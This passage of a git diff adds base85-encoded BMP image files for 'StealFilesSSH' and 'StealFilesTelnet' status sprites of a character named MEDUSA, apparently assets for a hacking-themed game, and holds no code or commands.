zZe%M!$-;Au#@`8nHg{tE?zR{$H_Fzvs-z5z`R{N4C(!rTf0~(_dL_>wSXcLSo^r4@kb7O)P!-mZNz z7Z;r=P0tT@(?2BO=U72qpce=WT|osL%D=JwP4CNfFslK(`r?8uRG^0kKNFxIYT?~= zAn~+^LNGo`Tw;>+yoIURpy)y`P~SK4_RWe4r+8XsF<7dCnZC8}P0RBoYZEJ&sU2ts z9PexXH1lCrP%AMwQb|arqkpOC*#Zy=Ix#h)ScOCM?Gl(_Kk-6W$-PAdMLYmzt)wRq%?V1*$$5~g~PUtHbV{dQvG z5D0GX8y3F9(cOCC_xJBqIPLMO!m^IWR&eD*26$KbXMdfVtTL}if(bG*_h#;hG_<($ zY-lYqG+u#Ic=e-3_$VuwFY&Hk>LLomuXkQdtpn4}?(FKwXoMp0WKA#f{{CO}{uEGh zqvTj{P&ab4a9%tH>&27jctv=wupy=bQAo9nixNp-XMx~7}9gb}r zf{=|0OO$66IN09@V*i!kJXe4^AJOPz5>6XjUU&n!$y8iY1A=vQZGU3<0PX;nVCLCa zUH`a3A7wq$C?h(B^*ZIV&i=VQ67ZS+nRy5e8(0Gar9M&RkKuf*?5w#spAZ>Nk(uq? znS+yseNuTz72~zLO;z>3sLw}P&)NlR7H2&xRX&NOmAA78B+#24)*et%d9Z-{53>S& zz_2LFz!4Ri@aBXxe?*!bn-rvZ5Qg^qMNm-T9IT)gScS@P3Ah+qY#*M?ACnq7``Esx zeAd(sivGh#2{Di38g1X~5>R7fdrw0^+E7mO0BlE`BcRU53V^`JL=ZX_l)c;9?*78z zv8I?B(#q+gUj+WTjyc)i-8Yg`cd_#X8{mtp8%FZ#a@<1a|0@36tU%44_7}Xg%qTmT zox`JoiaHT0&X;57-G}~ll<)2aTP%>n|eL9Vys z#Y1{FcXPYNl{G~H+3bY0^EU-*e)4g)<|4SGOmt0`R@QYTl;n7YUQN6t3;g)t`;#Uw z!1}KH#s-Gvcmxe)G&RKK5mqjssb4wK{zRJ(W`X6vnpIz1%~V}akylJ#N_Fw|h5w=B zBCPKJFWTC# YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp new file mode 100644 index 0000000000000000000000000000000000000000..ad5329176dda2c8ddf575e0d30bfd56c8b6d5d86 GIT binary patch literal 2406 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 